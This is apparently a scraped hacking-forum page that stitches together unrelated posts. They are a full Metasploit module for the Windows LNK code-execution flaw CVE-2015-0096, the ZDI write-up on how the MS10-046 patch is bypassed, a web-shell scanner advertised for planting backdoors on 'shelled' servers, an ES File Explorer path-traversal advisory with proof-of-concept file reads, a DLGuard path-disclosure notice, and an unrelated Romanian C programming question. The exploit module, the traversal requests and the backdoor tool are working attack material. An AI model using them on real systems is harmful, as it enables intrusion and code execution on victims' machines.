Search the Community

.

Dissecting the Linux/Moose malware http://www.welivesecurity.com/wp-content/uploads/2015/05/Dissecting-LinuxMoose.pdf ( PDF ) Download Source

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::EXE attr_accessor :dll_base_name attr_accessor :exploit_dll_base_name def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Windows Shell LNK Code Execution', 'Description' => %q{ This module exploits a vulnerability in the MS10-046 patch to abuse (again) the handling of Windows Shortcut files (.LNK) that contain an icon resource pointing to a malicious DLL. This module creates the required files to exploit the vulnerability. They must be uploaded to an UNC path accessible by the target. This module has been tested successfully on Windows 2003 SP2 with MS10-046 installed and Windows 2008 SP2 (32 bits) with MS14-027 installed. }, 'Author' => [ 'Michael Heerklotz', # Vulnerability discovery 'juan vazquez' # msf module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2015-0096'], ['MSB', 'MS15-020'], ['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Full-details-on-CVE-2015-0096-and-the-failed-MS10-046-Stuxnet/ba-p/6718459#.VQBOymTF9so'], ['URL', 'https://github.com/rapid7/metasploit-framework/pull/4911'] # How to guide here ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 2048, }, 'Platform' => 'win', 'Targets' => [ ['Automatic', { }] ], 'DisclosureDate' => 'Mar 10 2015', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [true, 'The LNK file', 'msf.lnk']), OptString.new('UNCHOST', [true, 'The host portion of the UNC path to provide to clients (ex: 1.2.3.4).']), OptString.new('UNCSHARE', [true, 'The share folder portion of the UNC path to provide to clients (ex: share).']), ], self.class) end def smb_host "\\\\#{datastore['UNCHOST']}\\#{datastore['UNCSHARE']}\\" end def exploit_dll_filename name_length = 257 - (smb_host.length + 4 + 2) self.dll_base_name = dll_base_name || rand_text_alpha(1) self.exploit_dll_base_name = exploit_dll_base_name || rand_text_alpha(name_length) "#{dll_base_name} #{exploit_dll_base_name}.dll" end def dll_filename self.dll_base_name = dll_base_name || rand_text_alpha(1) "#{dll_base_name}.dll" end def create_exploit_file(file_name, data) unless ::File.directory?(Msf::Config.local_directory) FileUtils.mkdir_p(Msf::Config.local_directory) end path = File.join(Msf::Config.local_directory, file_name) full_path = ::File.expand_path(path) File.open(full_path, 'wb') { |fd| fd.write(data) } full_path end def dll_create(data) full_path = create_exploit_file(dll_filename, data) print_good "DLL with payload stored at #{full_path}" end def exploit_dll_create(data) full_path = create_exploit_file(exploit_dll_filename, data) print_good "Fake dll to exploit stored at #{full_path}" end def exploit dll = generate_payload_dll dll_create(dll) exploit_dll_create(dll) lnk = generate_link("#{smb_host}#{exploit_dll_filename}") file_create(lnk) end # stolen from ms10_046_shortcut_icon_dllloader, all the credits to the original authors: 'hdm', 'jduck', 'B_H' def generate_link(unc) uni_unc = unc.unpack('C*').pack('v*') path = '' path << [ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ].pack('C*') path << uni_unc # LinkHeader ret = [ 0x4c, 0x00, 0x00, 0x00, 0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ].pack('C*') idlist_data = '' idlist_data << [0x12 + 2].pack('v') idlist_data << [ 0x1f, 0x00, 0xe0, 0x4f, 0xd0, 0x20, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xd8, 0x08, 0x00, 0x2b, 0x30, 0x30, 0x9d ].pack('C*') idlist_data << [0x12 + 2].pack('v') idlist_data << [ 0x2e, 0x1e, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30, 0x30, 0x9d ].pack('C*') idlist_data << [path.length + 2].pack('v') idlist_data << path idlist_data << [0x00].pack('v') # TERMINAL WOO # LinkTargetIDList ret << [idlist_data.length].pack('v') # IDListSize ret << idlist_data # ExtraData blocks (none) ret << [rand(4)].pack('V') # Patch in the LinkFlags ret[0x14, 4] = ['10000001000000000000000000000000'.to_i(2)].pack('N') ret end end Source

In early January 2015, researcher Michael Heerklotz approached the Zero Day Initiative with details of a vulnerability in the Microsoft Windows operating system. We track this issue as ZDI-15-086. Unless otherwise noted, the technical details in this blog post are based on his detailed research. To understand the significance of his report, we need to go back to the last decade. In mid-2009, Stuxnet was released against the Iranian nuclear program. Attributed to the United States and Israel, Stuxnet used multiple zero-day attacks against Windows to attack the Iranian centrifuges. It was discovered in June 2010 by VirusBlokAda and reported to Microsoft. In February 2015, Kaspersky Labs' Global Research & Analysis Team released findings that attacks included in Stuxnet were in use as early as 2008. The initial infection vector was a USB drive that took advantage of a vulnerability in the Windows operating system that allowed simply browsing to a directory to run arbitrary code. Windows allowed for .LNK files, which define shortcuts to other files or directories, to use custom icons from .CPL (Control Panel) files. The problem is that in Windows, icons are loaded from modules (either executables or dynamic link-libraries). In fact, .CPL files are actually DLLs. Because an attacker could define which executable module would be loaded, an attacker could use the .LNK file to execute arbitrary code inside of the Windows shell and do anything the current user could. To prevent this attack, Microsoft put in an explicit whitelist check with MS10-046, released in early August 2010. Once that patch was applied, in theory only approved .CPL files should have been able to be used to load non-standard icons for links. The patch failed. And for more than four years, all Windows systems have been vulnerable to exactly the same attack that Stuxnet used for initial deployment. To see how it failed, we need to examine the fix itself. To show the vulnerability in action, we made a brief video: The definition of the icon that will be used is extracted in a function called CControlPanelFolder::GetUiObjectOf() in Shell32.dll. We can see what changed by comparing the RTM version of Shell32.dll with the latest vulnerable version, using DarunGrim. Figure 1 Diffing the function We can see there are only two sections of code (highlighted above in red) that have changed in this function since release. The first changed block looks like this: Figure 2 The first changed block in the function (click to expand in new window) We can see that in the event the definition calls for a custom icon (that is, has a requested icon ID of 0), we check against the registered list. If we put this snippet of assembly into C++, it looks something like this: … if ( (iconID == 0) && !this->_IsRegisteredCPLApplet(&wszModuleFullPath) ) { iconID = -1; } … If the DLL isn’t on the whitelist, you cannot have the icon ID be 0, and so no custom load step. So, problem solved? Clearly not, or we wouldn’t be talking about this now. Let’s look at the other snippet of code that changed, and see if it gives us a clue. Figure 3 The second changed block in the function Now that’s interesting. If the module path specified contains a comma in it, we’re going to error out with an invalid argument. It is possible that this is unrelated to the fix for Stuxnet, but it looks odd. Let’s look at the context around it. Immediately before this block of code, there is an unchanged block that takes user-provided data and formats it -- using commas. Let’s take a look at that: Figure 4 Unchanged adjacent code If we put this block of assembly language into C++, it would look something like this: StringCchPrintfW(wszWorkingBuffer, 554u, L"%s,%d,%s", &wszModuleFullPath, iconID, &wszDisplayName); With this context, the second change looks to be part of the Stuxnet fix after all. We are forcing the icon ID to be something other than 0, but we then put it into a comma delimited string. Since we’re then erroring out if the path contains a comma, that looks like a fix for embedding a fake icon ID inside of the path, which would imply that the icon ID will be parsed out of this constructed string later. So, the obvious work-around has been closed off; we cannot spoof the formatted string to insert our own icon ID. The next thing that happens after we have formatted and checked this string is that it gets passed to ControlExtractIcon_CreateInstance(). This function creates a CCtrlExtIconBase object, and passes it the composite string as the first argument. Let’s look at the constructor. Figure 5 Following the string through the constructor (click to expand in new window) If we look at what happens to that initial argument, we see it ends up (again, translating into C++) being used like this: StringCchCopyW(this->wszIconString, 260u, pwzIconString); The buffer we have just created as 554 wide characters in length is in fact being truncated and put into a 260 wide character buffer. Not only that, but the string contains two pieces of information we know get used in icon loading – the path to the DLL and the icon ID. Where does that information come from? It comes from a function called CControlPanelFolder::GetModuleMapped(): Figure 6 Call to CControlPanelFolder::GetModuleMapped (click to expand in new window) If we put this into C++, it would look something like this: retVal = CControlPanelFolder::GetModuleMapped(pControl, false, &wszModuleFullPath, 260, &iconID, &wszModuleDisplayName, 260); There are two parts of this function that are important for us. As we can see from the code above, the caller specifies the size of the buffers that data is copied in to, and in this case, the buffers are sized for 260 wide characters. Because this data is actually extracted from the .LNK file that we control, this means we can provide a path string that is up to 260 wide characters long, and we know that there is a truncation bug that will use our data. The second issue is actually inside of CControlPanelFolder::GetModuleMapped(), and will be one of the last hurdles to exploitation. If the module path specified does not actually exist, the path will be combined with the System (or SystemWoW64) directory. Looking at that code as C++, it looks something like this: if ( !PathFileExistsW(pwzModuleFullPath) ) { if ( fDoNotUseWoW || !CControlPanelFolder::_IsWowCPL(pControl) ) GetSystemDirectoryW(&wzSystemDir, 260u); else GetSystemWow64DirectoryW(&wzSystemDir, 260u); if ( PathCombineW(&wzBuffer, &wzSystemDir, pwzModuleFileName) ) retVal = StringCchCopyW(pwzModuleFullPath, cwchModuleFullPath, &wzBuffer); else retVal = E_FAIL; } This doesn’t appear to be a problem (since we do need to actually load our planted DLL to get code running), but as we’ll see later, this is actually an issue in exploitation. To see why, we need to look at where our constructed and truncated string is used. What happens to that data? To see that, let’s look at what the actual call stack would look like when the exploit fired: Figure 7 Call stack on the DLL load for an icon Since we know that our constructed string is stored as a member variable in CCtrlExtIconBase, let’s go ahead and look at that call to _GetIconLocationW(). Figure 8 Parsing the constructed string in CCtrlExtIconBase ::_GetIconLocationW If we look at the code above, we can see that we’re searching for the comma separator (the buffer itself is one we’ve copied for the caller). If we find it, we null it out, and then derive the icon ID by calling StrToInt(). Now, we know from looking at the original fix that our icon ID will be forced to be -1, but will then be truncated into a 260 wide character buffer. Since the truncation includes the null, we’ll have 259 wide characters to work with, one of which will be a comma. If we provided a 257 character path, the string that we’d parse here is “<our path>,-“, with everything after the minus sign being truncated. And StrToIntW(L”-“) is 0. We have bypassed the check by converting the negative value back into our desired icon ID of 0. (In fact, we can skip the check entirely and just pass in a small negative icon ID to begin with.) Just putting in the overly long path won’t work, however; there is a problem. To see it, we need to go further down the call chain and see where our load fails. We know from the stack trace above that our call to LoadLibrary() will come from CPL_LoadCPLModule(). The problem is that CPL_LoadCPLModule() is also going to look for a manifest file. That, in and of itself, is not a problem, as it doesn’t require the manifest. The problem lies in how it looks for the file: Figure 9 Constructing the manifest file path If we put this into C++, it would look something like this: if ( StringCchPrintfW(&wzManifestPath, 260u, L"%s.manifest", pwzModuleFullPath) < 0 ) { return NULL; } So, if our path is too long to have a “.manifest” appended (the 260 character limit we’ve been seeing throughout this is MAX_PATH), we’re not even going to try to load the DLL. As we’ve already seen, we need to take the path to 257 characters in order to force the icon ID to 0, and we need the icon ID to be 0 to even get to CPL_LoadCPLModule(). We need one more issue. To find it, we need to work back up the stack trace, and see if we can do anything about that path name passed to CPL_LoadCPLModule(). When we do that, we can see that the string is actually extracted in the function CPL_ParseCommandLine(). CPL_ParseCommandLine uses a function called CPL_ParseToSeparator() to pull the component elements out. If we look inside CPL_ParseToSeparator(), we can see that it has two options for valid separators: Figure 10 A look inside CPL_ParseToSeparator There is a flag which determines if only commas will be considered to be separators, or if unescaped spaces will as well. When we look at the first call to CPL_ParseToSeparator() (which extracts the module path), we can see that it has the flag set to consider spaces as valid separators: Figure 11 Initial call to CPL_ParseSeparator At this point, we have everything we need to get an exploit running. We’ll need to construct a malicious .LNK file which has a link path of exactly 257 characters, but uses embedded unescaped spaces to cause the extraction to truncate in CPL_ParseToSeparator(). That allows us to have a short enough path for the concatenation of the “.manifest” to the filename in CPL_LoadCPLModule() to work. That brings us back to our earlier note that CControlPanelFolder::GetModuleMapped() will check to see if the full module path (including embedded spaces) exists. So we’ll need to have two files, one with the embedded spaces (to pass the file existence check), and one without (to actually be loaded). Unlike a case of memory corruption, this attack doesn’t need to worry about low-level operating system mitigations. This bug has its roots in the decades-old decision to load icons by loading executable modules into the process, and because of that, there is no need to worry about any other mitigations. The Windows operating system itself will handle resolving ASLR and loading the attack into executable memory. And because of that, the attack is stable, reliable, and works cleanly across Windows versions. Microsoft has gone to a great deal of effort to make exploitation of memory corruption bugs more difficult. This is a classic example of the Defender’s Dilemma -- the defender must be strong everywhere, while the attacker needs to find only one mistake. In a future Security Briefing, ZDI will examine MS15-020, the patch that was released today to address CVE-2015-0096, and look at how Microsoft made changes to try to prevent this attack from coming back a third time. Source

Shell Scanner v1.o is a PHP shell detection script that will scan a server looking for web shells uploaded by other hackers. After locating the path to the shell you can choose the option to SAVE/DELETE. This is useful if you want to save private shells add a backdoor or remove their shit all together keeping full pwnage of the shelled target. Hidden or suspected Shells will be highlighted in blue Click on shell path and Save/Delete shell. Download : http://pastebin.com/bAN9ndkj

Document Title: =============== ES File Explorer v3.2.4.1 - Path Traversal Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1435 CVE-ID: ======= CVE-2015-1876 Release Date: ============= 2015-02-17 Vulnerability Laboratory ID (VL-ID): ==================================== 1435 Common Vulnerability Scoring System: ==================================== 7.8 Product & Service Introduction: =============================== ES File Explorer is a free all-in-one including a file manager & application & tasks, support for online storage spaces (Dropbox, Google Drive, SkyDrive, Box.net, Sugarsync, Yandex, Amazon S3), FTP & Samba client to explore the images, music, videos, documents and other files from your phone and your computer. It allows Android users around the world to manage their resources for free; you can see the files on your phone, access from anywhere and share them with others; it allows you to easily manage your photos or watch videos, stay connected on 3G, EDGE or WiFi, and share with friends. (Copy of the Vendor Homepage: https://play.google.com/store/apps/details?id=com.estrongs.android.pop ) Abstract Advisory Information: ============================== An independent vulnerability laboraotory researcher discovered a path traversal web vulnerability in the official ES File Explorer v3.2.4.1 mobile android web-application. Vulnerability Disclosure Timeline: ================================== 2015-02-17: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== ES APP GROUP Product: ES File Explorer - Mobile Web Application (Android) 3.2.4.1 Exploitation Technique: ======================= Remote Severity Level: =============== High Technical Details & Description: ================================ A Path Traveral web vulnerability has been discovered in the official in the official ES File Explorer v3.2.4.1 mobile android web-application. The security vulnerability allows a remote attacker to unauthorized request local files and device system paths to compromise the application or device. The vulnerability is located in the `content://com.estrongs.files/system/` path request with the <file> context. The vulnerability can be exploited by local or remote attackers without user interaction. The attacker needs to replace the sdcard path request in the com.estrongs.files/system with a malicious path request like ./etc/passwd ./etc/hosts and continues the request. The attack vector is located on the application-side of the service and the request is http. The security risk of the path traversal web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.8. Exploitation of the directory traversal web vulnerability requires no privileged application user account or user interaction. Successful exploitation of the vulnerability results in mobile application compromise Request Method(s): [+] POST & Sync Vulnerable Module(s): [+] content://com.estrongs.files/ Vulnerable Parameter(s): [+] path Affected Module(s): [+] content://com.estrongs.files/system/ Proof of Concept (PoC): ======================= The arbitrary code execution vulnerability can be exploited by remote attackers without user interaction or privileged application user account. For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. --- PoC Session Logs --- Package: com.estrongs.android.pop Application Label: ES File Explorer Process Name: com.estrongs.android.pop Version: 3.2.4.1 Data Directory: /data/data/com.estrongs.android.pop APK Path: /data/app/com.estrongs.android.pop-2.apk UID: 10235 GID: [3003, 3002, 3001, 1015, 1028] Permissions: - android.permission.WRITE_SETTINGS - android.permission.CHANGE_WIFI_STATE - android.permission.CHANGE_NETWORK_STATE - android.permission.INTERNET - android.permission.SET_WALLPAPER - android.permission.ACCESS_NETWORK_STATE - android.permission.ACCESS_WIFI_STATE - com.android.launcher.permission.INSTALL_SHORTCUT - com.android.launcher.permission.UNINSTALL_SHORTCUT - android.permission.BLUETOOTH - android.permission.BLUETOOTH_ADMIN - android.permission.WRITE_EXTERNAL_STORAGE - android.permission.WRITE_MEDIA_STORAGE - android.permission.WAKE_LOCK - android.permission.READ_PHONE_STATE - android.permission.ACCESS_SUPERUSER - android.permission.VIBRATE - .PERMISSION - android.permission.CHANGE_WIFI_MULTICAST_STATE - android.permission.SYSTEM_ALERT_WINDOW - android.permission.GET_TASKS - android.permission.READ_EXTERNAL_STORAGE Defines Permissions: - None Activities: com.estrongs.android.pop.view.FileExplorerActivity com.estrongs.android.pop.app.compress.CompressionActivity com.estrongs.android.pop.app.compress.CompressionProxyActivity com.estrongs.android.pop.app.ESFileSharingActivity com.estrongs.android.pop.app.SaveToESActivity com.estrongs.android.pop.app.LocalFileSharingActivity com.estrongs.android.pop.app.PopVideoPlayer com.estrongs.android.pop.app.PopVideoPlayerProxyActivity com.estrongs.android.pop.app.AudioPlayerProxyActivity com.estrongs.android.pop.app.editor.PopNoteEditor com.estrongs.android.pop.app.FileChooserActivity com.estrongs.android.pop.app.ESContentChooserActivity com.estrongs.android.pop.app.ESRingtoneChooserActivity com.estrongs.android.pop.app.ESWallPaperChooserActivity com.estrongs.android.pop.app.DownloaderActivity com.estrongs.android.pop.app.BrowserDownloaderActivity com.estrongs.android.pop.app.PopRemoteImageBrowser com.estrongs.android.pop.ftp.ESFtpShortcut com.estrongs.android.pop.app.ShowDialogActivity com.estrongs.android.pop.app.AppCheckUpdateList com.estrongs.android.pop.app.DefaultWindowSetting com.estrongs.android.pop.app.DocumentExtModifyList com.estrongs.android.pop.app.TransitActivity Broadcast(Receiver): com.estrongs.android.pop.app.AudioPlayerService$MediaButtonReceiver com.baidu.share.message.ShareReceiver com.estrongs.android.pop.EnableOEMConfig com.estrongs.android.pop.app.InstallMonitorReceiver com.estrongs.android.pop.app.StartServiceReceiver Services: com.estrongs.android.pop.bt.OBEXFtpServerService Permission: null Providers: Authority: com.estrongs.files Read Permission: null Write Permission: null Content Provider: com.estrongs.android.pop.app.FileContentProvider Multiprocess Allowed: False Grant Uri Permissions: True read content://com.estrongs.files/system/../../../../../sdcard/<file> Read file hosts read content://com.estrongs.files/system/etc/hosts 127.0.0.1 localhost Solution - Fix & Patch: ======================= In the AndroidManifest.xml file of each application that contains a content provider, it was recommended that read and write permissions are set. Vulnerable code: com.estrongs.files Read Permission: null Write Permission: null android:exported="true" change "true" to "false" When the value is "false", only components of the same application or applications with the same user ID can start the service or bind to it. <provider android:authorities="com.estrongs.files" android:exported="true" android:grantUriPermissions="true" android:name="com.estrongs.android.pop.app.FileContentProvider"/> Fixed code: <provider android:authorities="com.estrongs.files" android:exported="false" android:grantUriPermissions="true" android:name="com.estrongs.android.pop.app.FileContentProvider"/> read content://com.estrongs.files/system/etc/hosts Permission Denial: opening provider com.estrongs.android.pop.app.FileContentProv ider from ProcessRecord{4192d1a0 32050:com.mwr.dz:remote/u0a216} (pid=32050, uid =10216) that is not exported from uid 10235 Security Risk: ============== The security risk of the path traversal web vulnerability in the android app is estimated as high. (CVSS 7.8) Credits & Authors: ================== Hadji Samir [s-dz@hotmail.fr] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/ Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission. Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™ Source

*DLGuard Full Path Disclosure (Information Leakage) Security Vulnerabilities* Exploit Title: DLGuard /index.php c parameter Full Path Disclosure Security Vulnerabilities Product: DLGuard Vendor: DLGuard Vulnerable Versions: v4.5 Tested Version: v4.5 Advisory Publication: Feb 18, 2015 Latest Update: Feb 18, 2015 Vulnerability Type: Information Exposure [CWE-200] CVE Reference: * Credit: Wang Jing [Mathematics, Nanyang Technological University, Singapore] *Advisory Details:* *(1) Vendor & Product Description:* *Vendor:* DLGuard *Product & Version:* DLGuard v4.5 *Vendor URL & Download:* DLGuard can be downloaded from here, http://www.dlguard.com/dlginfo/index.php *Product Introduction:* “DLGuard is a powerful, yet easy to use script that you simply upload to your website and then rest assured that your internet business is not only safe, but also much easier to manage, automating the tasks you just don't have the time for." "DLGuard supports the three types, or methods, of sale on the internet: <1>Single item sales (including bonus products!) <2>Multiple item sales <3>Membership websites" *(2) Vulnerability Details:* DLGuard has a security problem. It can be exploited by Full Path Disclosure attacks. *(2.1)* The first vulnerability occurs at “index.php” page with ""c" parameters of it. *References:* http://tetraph.com/security/full-path-disclosure-vulnerability/dlguard-full-path-disclosure-information-leakage-security-vulnerabilities/ http://securityrelated.blogspot.com/2015/02/dlguard-full-path-disclosure.html -- Wang Jing, Division of Mathematical Sciences (MAS), School of Physical and Mathematical Sciences (SPMS), Nanyang Technological University (NTU), Singapore. http://www.tetraph.com/wangjing/ https://twitter.com/justqdjing Source

Am urmatoarea problema in c care imi spune care fisiere sunt in dir1 si NU sunt in dir2. Problema e urmatoarea:sa spunem ca dir1 are ca subdirector pe a si in a avem fisierul bbb, iar in dir2 am doar fisierul bbb. Mie o sa-mi spuna programul ca fisierul bbb se afla si in dir1 si in dir2, dar defapt nu se afla oarecum pe acelasi nivel, si in dir1 se afla in subdirectorul a. Eu vreau sa-mi spuna ca acest bbb din dir1 e diferit de cel din dir2, cum pot as putea sa modific ca sa mearga? Mersi. #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/stat.h> #include <unistd.h> #include <dirent.h> #include <sys/param.h> #include <limits.h> #include <string.h> char *path2; int dir2compare( char *path, char *findme ){ DIR *dir; struct dirent *entry; char spath[PATH_MAX] = "", spath2[PATH_MAX] = ""; if( !(dir = opendir( path))){ perror("opendir"); exit(1);} for( entry = readdir( dir); entry; entry = readdir( dir)){ sprintf( spath, "%s/%s", path, entry->d_name); if( entry->d_type == DT_REG){ if(strcmp(entry->d_name,findme)==0) return 1; } if( entry->d_type == DT_DIR && (strcmp( ".", entry->d_name)) && (strcmp( "..", entry->d_name))){ dir2compare(spath,findme); } } closedir( dir); } char dirfind( char *path, int *fgasit){ DIR *dir; char *temp; struct dirent *entry; char spath[PATH_MAX] = "", spath2[PATH_MAX] = ""; if( !(dir = opendir( path))){ perror("opendir"); exit(1);} for( entry = readdir( dir); entry; entry = readdir( dir)){ sprintf( spath, "%s/%s", path, entry->d_name); if( entry->d_type == DT_REG){ if(dir2compare(path2, entry->d_name)==0) { printf("[*] %s\n", spath); (*fgasit)++; } } if( entry->d_type == DT_DIR && (strcmp( ".", entry->d_name)) && (strcmp( "..", entry->d_name))){ dirfind(spath, fgasit); } } closedir( dir); return(0); } int main(int argc, char *argv[]){ int i = 0; if (argc == 3){ path2=strdup(argv[2]); dirfind(argv[1],&i); printf(" %d fisiere nu corespund.\n", i); } }